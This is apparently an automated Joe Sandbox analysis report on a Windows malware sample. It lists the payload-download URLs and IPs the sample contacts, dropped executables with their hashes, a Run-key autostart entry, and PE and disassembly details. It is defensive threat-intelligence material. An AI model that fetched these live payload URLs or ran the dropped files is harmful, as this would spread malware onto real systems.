http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txt	0%	Avira URL Cloud	safe
http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txtY	0%	Avira URL Cloud	safe
http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exez	0%	Avira URL Cloud	safe
http://38.6.175.25:901	0%	Avira URL Cloud	safe
http://.httpsset-cookie:;;	0%	Avira URL Cloud	safe
http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exeN2	0%	Avira URL Cloud	safe
https://trustsing.com/publish/iDefender.exew	0%	Avira URL Cloud	safe
http://38.6.175.25:901/downt	0%	Avira URL Cloud	safe
http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exec3	0%	Avira URL Cloud	safe
http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txt(	0%	Avira URL Cloud	safe
http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe7	0%	Avira URL Cloud	safe
http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe#	0%	Avira URL Cloud	safe
http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe	0%	Avira URL Cloud	safe
http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txtKB-	0%	Avira URL Cloud	safe
http://38.6.175.25:901/downLq	0%	Avira URL Cloud	safe
http://38.6.175.25:901C:	0%	Avira URL Cloud	safe
http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe(	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txt	false	Avira URL Cloud: safe	unknown
http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://38.6.175.25:901/down	update.exe, 00000007.00000002.1904789983.0000000000660000.00000004.00000020.00020000.00000000.sdmp, update.exe, 00000007.00000002.1904226340.00000000001E0000.00000004.00000020.00020000.00000000.sdmp, update.exe, 00000007.00000002.1904789983.000000000067D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe1Z	#U4fdd#U62a4#U795e1.exe, 00000003.00000002.2714909833.000000000067C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.eyuyan.com)DVarFileInfo$	#U4fdd#U62a4#U795e1.exe, update.exe.4.dr, 16.exe.0.dr	false		high
http://42.193.100.57/	#U4fdd#U62a4#U795e1.exe, 00000003.00000002.2714909833.0000000000666000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txtSB5	#U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.00000000006E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://38.6.175.25:9018	update.exe, 00000007.00000002.1904789983.0000000000660000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://38.6.175.25:901/downhttp://38.6.175.25:901	update.exe, 00000007.00000002.1905145272.0000000002160000.00000004.00000020.00020000.00000000.sdmp, update.exe, 00000007.00000002.1905224498.00000000021A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txt-U	#U4fdd#U62a4#U795e1.exe, 00000003.00000002.2714909833.000000000067C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.execY	#U4fdd#U62a4#U795e1.exe, 00000003.00000002.2714909833.000000000067C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe=2	#U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.0000000000743000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe~	#U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.0000000000729000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txtY	#U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.00000000006E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://trustsing.com/publish/iDefender.exew	16.exe, 00000004.00000002.1882625896.0000000001369000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://38.6.175.25:901	16.exe, 00000004.00000002.1879881423.00000000005FB000.00000002.00000001.01000000.00000007.sdmp, 16.exe, 00000004.00000002.1882768972.00000000013AD000.00000004.00000020.00020000.00000000.sdmp, update.exe, 00000007.00000002.1905145272.0000000002160000.00000004.00000020.00020000.00000000.sdmp, update.exe, 00000007.00000002.1905224498.00000000021A0000.00000004.00000020.00020000.00000000.sdmp, update.exe, 00000007.00000002.1904789983.0000000000660000.00000004.00000020.00020000.00000000.sdmp, update.exe, 00000007.00000002.1904789983.000000000067D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://38.6.175.25:901/downt	16.exe, 00000004.00000002.1882225013.000000000134E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exeN2	#U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.0000000000743000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://.httpsset-cookie:;;	#U4fdd#U62a4#U795e1.exe	false	Avira URL Cloud: safe	unknown
http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exez	#U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.0000000000729000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exec3	#U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.0000000000743000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txt(	#U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.00000000006E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe7	#U4fdd#U62a4#U795e1.exe, 00000003.00000002.2714909833.000000000063E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe#	#U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.0000000000729000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txtKB-	#U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.00000000006E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://38.6.175.25:901/downLq	update.exe, 00000007.00000002.1904789983.000000000067D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://38.6.175.25:901C:	16.exe, 00000004.00000003.1877794042.0000000002D51000.00000004.00000020.00020000.00000000.sdmp, update.exe, 00000007.00000002.1904789983.0000000000660000.00000004.00000020.00020000.00000000.sdmp, update.exe, 00000007.00000002.1904226340.00000000001E0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe(	#U4fdd#U62a4#U795e1.exe, 00000003.00000002.2714909833.000000000067C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
42.193.100.57	unknown	China		4249	LILLY-ASUS	false
38.6.175.134	unknown	United States		174	COGENT-174US	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559170
Start date and time:	2024-11-20 09:13:23 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	#U4fdd#U62a4#U795e1.exe renamed because original name is a hash value
Original Sample Name:	1.exe
Detection:	MAL
Classification:	mal92.evad.winEXE@6/4@0/2
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 65% Number of executed functions: 52 Number of non-executed functions: 254
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 16.exe, PID 6340 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: #U4fdd#U62a4#U795e1.exe

Simulations

Behavior and APIs

Time	Type	Description
03:14:41	API Interceptor	2x Sleep call for process: #U4fdd#U62a4#U795e1.exe modified
09:14:45	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run 1 C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
42.193.100.57	213.exe	Get hash	malicious	Unknown	Browse	42.193.100.57/%E5%AD%98%E6%A1%A3/.txt
	211.exe	Get hash	malicious	Unknown	Browse	42.193.100.57/%E5%AD%98%E6%A1%A3/.txt
	212.exe	Get hash	malicious	Unknown	Browse	42.193.100.57/%E5%AD%98%E6%A1%A3/.txt
	214.exe	Get hash	malicious	Unknown	Browse	42.193.100.57/%E5%AD%98%E6%A1%A3/.txt
38.6.175.134	#U5343#U5343#U665a#U661f16.exe	Get hash	malicious	Unknown	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
LILLY-ASUS	213.exe	Get hash	malicious	Unknown	Browse	42.193.100.57
	211.exe	Get hash	malicious	Unknown	Browse	42.193.100.57
	212.exe	Get hash	malicious	Unknown	Browse	42.193.100.57
	214.exe	Get hash	malicious	Unknown	Browse	42.193.100.57
	SWIFT COPY 0028_pdf.exe	Get hash	malicious	FormBook	Browse	43.155.76.124
	arm7.nn-20241120-0508.elf	Get hash	malicious	Mirai, Okiru	Browse	43.52.215.121
	arm.nn-20241120-0508.elf	Get hash	malicious	Mirai, Okiru	Browse	43.152.251.74
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	40.221.176.183
	https://trackwniw.top/i	Get hash	malicious	Unknown	Browse	43.130.33.71
	https://trackwniw.top/i	Get hash	malicious	Unknown	Browse	43.130.33.71
COGENT-174US	#U5343#U5343#U665a#U661f16.exe	Get hash	malicious	Unknown	Browse	38.6.175.134
	meow.arm7.elf	Get hash	malicious	Unknown	Browse	38.36.152.209
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	206.249.160.120
	need quotations.exe	Get hash	malicious	FormBook	Browse	206.238.89.119
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	38.161.56.224
	KPFv8ATDx0.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	38.180.228.120
	exe009.exe	Get hash	malicious	Emotet	Browse	185.142.236.163
	owari.arm.elf	Get hash	malicious	Unknown	Browse	38.169.130.37
	owari.spc.elf	Get hash	malicious	Unknown	Browse	38.247.191.82
	owari.sh4.elf	Get hash	malicious	Unknown	Browse	38.5.199.111

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\Desktop\update.exe	#U5343#U5343#U665a#U661f16.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\???[1].txt

Download File

Process:	C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe
File Type:	ISO-8859 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	351
Entropy (8bit):	5.9988906824310355
Encrypted:	false
SSDEEP:	6:xtyubDqtb4ac7XzecPawiKNFeC7Kk41a7B/fwTv3VKXseOBDUpspnvP0fVuaoyEf:xtyubSmXzDPay5G8AjVreOB6gn3sIyEf
MD5:	0A4E253CD11911FEAE8FBEFD3D9C725B
SHA1:	6C4C162E27A1F4B8621CE2AF90950C7B7655F2C1
SHA-256:	97ECD8C0334E929E53991180A7651E7B0FBBC5D9F0A3293D4026AE4305D20531
SHA-512:	53D9B2E1A66CA3129C8CEC42A2867D698ABD06AC2DF941A86EA7E9D336DCA4E1AB781395DE5B1F9E831EAECC58979046A046967B545E884B90C07E6FD46550EA
Malicious:	false
Reputation:	low
Preview:	....4.8......................................16.......................................http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe................... ...... ..... ...... .... .............................1........1../n2.......2../n3........../n4...........................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\???[1].txt

Download File

Process:	C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe
File Type:	ISO-8859 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	351
Entropy (8bit):	5.9988906824310355
Encrypted:	false
SSDEEP:	6:xtyubDqtb4ac7XzecPawiKNFeC7Kk41a7B/fwTv3VKXseOBDUpspnvP0fVuaoyEf:xtyubSmXzDPay5G8AjVreOB6gn3sIyEf
MD5:	0A4E253CD11911FEAE8FBEFD3D9C725B
SHA1:	6C4C162E27A1F4B8621CE2AF90950C7B7655F2C1
SHA-256:	97ECD8C0334E929E53991180A7651E7B0FBBC5D9F0A3293D4026AE4305D20531
SHA-512:	53D9B2E1A66CA3129C8CEC42A2867D698ABD06AC2DF941A86EA7E9D336DCA4E1AB781395DE5B1F9E831EAECC58979046A046967B545E884B90C07E6FD46550EA
Malicious:	false
Reputation:	low
Preview:	....4.8......................................16.......................................http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe................... ...... ..... ...... .... .............................1........1../n2.......2../n3........../n4...........................................

C:\Users\user\Desktop\ 16.exe

Download File

Process:	C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6123520
Entropy (8bit):	7.950517003987502
Encrypted:	false
SSDEEP:	98304:WRNDM/GMltzUmaMRZkD3utHxY5aF5+xwTQqqB/F2cCmgfamW9ejyDoYNP1oy:ONI/Go9ayZmyY5a6xwvqB/fEoEixoy
MD5:	72AA0DBF54D8C3A47D3C3AA1BD875E1D
SHA1:	00E272E32A1EA2CE5D1928525ED3B67E8969433A
SHA-256:	CCDA7994E140A412C4BCD8816B850545079C1E568E38D63B70D8DE6FFE15497E
SHA-512:	133F3391AFCDE20546B58254ACAFD2042DBC32AB262CCCBB6063D6BCD8141859EE59476E39C18CA7CB52D1862287B098BDE7ED540177A530B5E18B3D88002717
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 29%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...%Y.f......................+......wv...........@.............................................................................h....................................................................................P...............................text.............................. ..`.rdata..xS'.........................@..@.data.........9.....................@....vmp0....6)...?.....................`..`.vmp1.....\..@h...\.................`..`.rsrc.................\.............@..@................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\update.exe

Download File

Process:	C:\Users\user\Desktop\ 16.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	888832
Entropy (8bit):	7.323536443299941
Encrypted:	false
SSDEEP:	12288:yhokdAoXTs03f3nsXFFCr512Kz9/ArXRYGbfmY5dfJ6l8x+fU2W0WCNLsos:yaAlP3sVS9pArBYGbeYju8x+fU21
MD5:	CA57BDFF74665A2A42A8CF4AD4593D9F
SHA1:	7562003F808C469579227A01ECA809539DE5CC8D
SHA-256:	E5C30E02DAA7C7178EE58F7F74F27A8CA4134AD736BA15CF34F863D8B70B2516
SHA-512:	C305958BA78172CDAFE1CEDB4CF7125641BE05BDADC5233AD3C3CFAD1AE13F4B8C91995CD12D9CEC4A7087D33B4F9BFF05A0F2C43B0540D06AD066D9D061EC24
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Joe Sandbox View:	Filename: #U5343#U5343#U665a#U661f16.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#...ga.\ga.\ga.\.}.\ba.\.~.\na.\.~.\aa.\.}.\Ka.\QG.\.a.\1~.\Ka.\.~.\.a.\ga.\.c.\.i.\da.\QG.\.a.\.~.\-a.\ga.\Wa.\.g.\fa.\Richga.\........................PE..L....c.T............................,p............@.........................................................................h...........T]...................s.......................................................................................text...^........................... ....rdata..............................@..@.data...............................@....rsrc...T].......`... ..............@..@.text........p...................... ...................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.37307388381538
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	#U4fdd#U62a4#U795e1.exe
File size:	876'544 bytes
MD5:	f5b663e9aa9555b45bd9e88221083781
SHA1:	3df73ded0310c3e70ce430118ced5073f75e0cc1
SHA256:	2db7d9e24396db62672a83f5245a154a8b58d2099554aaa93ad2dcef1f18c513
SHA512:	b90d802d694fd8e7104a49b5990d6f4f9bfcee2a35a1cc22aed23e2af0230af8edb1d004ce3bdc0cde5a13680a135620f7355d7cd2ca4e367198902762ed6587
SSDEEP:	12288:lyMg99qCGhVzJ28fBmTtOZbUbbqyICs3Cj//i//lryQsUdk2Mh5s:ly7GhNJ2YB+tOVUbtI0YOUdrMh2
TLSH:	10158E12BAC6C0F3D619197004A6A73ADE37EB860B25CFC79354DE696C332C1E93615E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\....wr..wr..wr.why..wr.whx..wr..k\|.4wr.ck~..wr.Nha.4wr.zha..wr..ws..ur.../..wr..Qy.pwr..Qx..wr..hy.Cwr..hx..wr..wr.(wr..qt..wr

File Icon


Icon Hash:	9eb3c18c2ceea99a

Static PE Info

General

Entrypoint:	0x4807da
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x669A3897 [Fri Jul 19 09:57:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	524e511fb7af6095188d3ed4cab35ac0

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
push FFFFFFFFh
push 004AD5F0h
push 00483614h
mov eax, dword ptr fs:[00000000h]
push eax
mov dword ptr fs:[00000000h], esp
sub esp, 58h
push ebx
push esi
push edi
mov dword ptr [ebp-18h], esp
call dword ptr [004A1184h]
xor edx, edx
mov dl, ah
mov dword ptr [004FD35Ch], edx
mov ecx, eax
and ecx, 000000FFh
mov dword ptr [004FD358h], ecx
shl ecx, 08h
add ecx, edx
mov dword ptr [004FD354h], ecx
shr eax, 10h
mov dword ptr [004FD350h], eax
push 00000001h
call 00007FB1B4F6F9FFh
pop ecx
test eax, eax
jne 00007FB1B4F6A57Ah
push 0000001Ch
call 00007FB1B4F6A638h
pop ecx
call 00007FB1B4F6F7AAh
test eax, eax
jne 00007FB1B4F6A57Ah
push 00000010h
call 00007FB1B4F6A627h
pop ecx
xor esi, esi
mov dword ptr [ebp-04h], esi
call 00007FB1B4F6F5D8h
call dword ptr [004A1328h]
mov dword ptr [00502584h], eax
call 00007FB1B4F6F496h
mov dword ptr [004FD2C8h], eax
call 00007FB1B4F6F23Fh
call 00007FB1B4F6F181h
call 00007FB1B4F6E24Ch
mov dword ptr [ebp-30h], esi
lea eax, dword ptr [ebp-5Ch]
push eax
call dword ptr [004A11B0h]
call 00007FB1B4F6F112h
mov dword ptr [ebp-64h], eax
test byte ptr [ebp-30h], 00000001h
je 00007FB1B4F6A578h
movzx eax, word ptr [ebp+00h]

Rich Headers

Programming Language:

[C++] VS98 (6.0) SP6 build 8804
[ C ] VS98 (6.0) SP6 build 8804
[C++] VS98 (6.0) build 8168
[ C ] VS98 (6.0) build 8168
[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb55c0	0x104	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x103000	0x5958	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xa1000	0x6f4	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x9fe02	0xa0000	49585f2a7a3d048c63daad4f9205295c	False	0.5273880004882813	data	6.590152723526371	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xa1000	0x16a42	0x17000	c7b50086335999e7e32e0839573533e9	False	0.3163001019021739	data	4.525953837098592	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xb8000	0x4a58a	0x18000	f51b912e225a25f794938498ffdbe706	False	0.2985738118489583	data	5.02788884527421	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x103000	0x5958	0x6000	74df184008091ddc364e96a0e045fd32	False	0.2975260416666667	data	4.818815015973174	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
TEXTINCLUDE	0x103bfc	0xb	ASCII text, with no line terminators	Chinese	China	1.7272727272727273
TEXTINCLUDE	0x103c08	0x16	data	Chinese	China	1.3636363636363635
TEXTINCLUDE	0x103c20	0x151	C source, ASCII text, with CRLF line terminators	Chinese	China	0.6201780415430267
RT_CURSOR	0x103d74	0x134	data	Chinese	China	0.5811688311688312
RT_CURSOR	0x103ea8	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	Chinese	China	0.37662337662337664
RT_CURSOR	0x103fdc	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	Chinese	China	0.4805194805194805
RT_CURSOR	0x104110	0xb4	Targa image data - Map 32 x 65536 x 1 +16 "\001"	Chinese	China	0.7
RT_BITMAP	0x1041c4	0x248	Device independent bitmap graphic, 64 x 15 x 4, image size 480	Chinese	China	0.3407534246575342
RT_BITMAP	0x10440c	0x144	Device independent bitmap graphic, 33 x 11 x 4, image size 220	Chinese	China	0.4444444444444444
RT_BITMAP	0x104550	0x158	Device independent bitmap graphic, 20 x 20 x 4, image size 240, resolution 3780 x 3780 px/m	Chinese	China	0.26453488372093026
RT_BITMAP	0x1046a8	0x158	Device independent bitmap graphic, 20 x 20 x 4, image size 240, resolution 3780 x 3780 px/m	Chinese	China	0.2616279069767442
RT_BITMAP	0x104800	0x158	Device independent bitmap graphic, 20 x 20 x 4, image size 240, resolution 3780 x 3780 px/m	Chinese	China	0.2441860465116279
RT_BITMAP	0x104958	0x158	Device independent bitmap graphic, 20 x 20 x 4, image size 240, resolution 3780 x 3780 px/m	Chinese	China	0.24709302325581395
RT_BITMAP	0x104ab0	0x158	Device independent bitmap graphic, 20 x 20 x 4, image size 240, resolution 3780 x 3780 px/m	Chinese	China	0.2238372093023256
RT_BITMAP	0x104c08	0x158	Device independent bitmap graphic, 20 x 20 x 4, image size 240	Chinese	China	0.19476744186046513
RT_BITMAP	0x104d60	0x158	Device independent bitmap graphic, 20 x 20 x 4, image size 240	Chinese	China	0.20930232558139536
RT_BITMAP	0x104eb8	0x158	Device independent bitmap graphic, 20 x 20 x 4, image size 240	Chinese	China	0.18895348837209303
RT_BITMAP	0x105010	0x5e4	Device independent bitmap graphic, 70 x 39 x 4, image size 1404	Chinese	China	0.34615384615384615
RT_BITMAP	0x1055f4	0xb8	Device independent bitmap graphic, 12 x 10 x 4, image size 80	Chinese	China	0.44565217391304346
RT_BITMAP	0x1056ac	0x16c	Device independent bitmap graphic, 39 x 13 x 4, image size 260	Chinese	China	0.28296703296703296
RT_BITMAP	0x105818	0x144	Device independent bitmap graphic, 33 x 11 x 4, image size 220	Chinese	China	0.37962962962962965
RT_ICON	0x10595c	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	Chinese	China	0.26344086021505375
RT_ICON	0x105c44	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	Chinese	China	0.41216216216216217
RT_ICON	0x105d6c	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192			0.3885135135135135
RT_ICON	0x105e94	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640			0.33198924731182794
RT_ICON	0x10617c	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1536			0.22378048780487805
RT_MENU	0x1067e4	0xc	data	Chinese	China	1.5
RT_MENU	0x1067f0	0x284	data	Chinese	China	0.5
RT_DIALOG	0x106a74	0x98	data	Chinese	China	0.7171052631578947
RT_DIALOG	0x106b0c	0x17a	data	Chinese	China	0.5185185185185185
RT_DIALOG	0x106c88	0xfa	data	Chinese	China	0.696
RT_DIALOG	0x106d84	0xea	data	Chinese	China	0.6239316239316239
RT_DIALOG	0x106e70	0x8ae	data	Chinese	China	0.39603960396039606
RT_DIALOG	0x107720	0xb2	data	Chinese	China	0.7359550561797753
RT_DIALOG	0x1077d4	0xcc	data	Chinese	China	0.7647058823529411
RT_DIALOG	0x1078a0	0xb2	data	Chinese	China	0.6629213483146067
RT_DIALOG	0x107954	0xe2	data	Chinese	China	0.6637168141592921
RT_DIALOG	0x107a38	0x18c	data	Chinese	China	0.5227272727272727
RT_STRING	0x107bc4	0x50	data	Chinese	China	0.85
RT_STRING	0x107c14	0x2c	data	Chinese	China	0.5909090909090909
RT_STRING	0x107c40	0x78	data	Chinese	China	0.925
RT_STRING	0x107cb8	0x1c4	data	Chinese	China	0.8141592920353983
RT_STRING	0x107e7c	0x12a	data	Chinese	China	0.5201342281879194
RT_STRING	0x107fa8	0x146	data	Chinese	China	0.6288343558282209
RT_STRING	0x1080f0	0x40	data	Chinese	China	0.65625
RT_STRING	0x108130	0x64	data	Chinese	China	0.73
RT_STRING	0x108194	0x1d8	data	Chinese	China	0.6758474576271186
RT_STRING	0x10836c	0x114	data	Chinese	China	0.6376811594202898
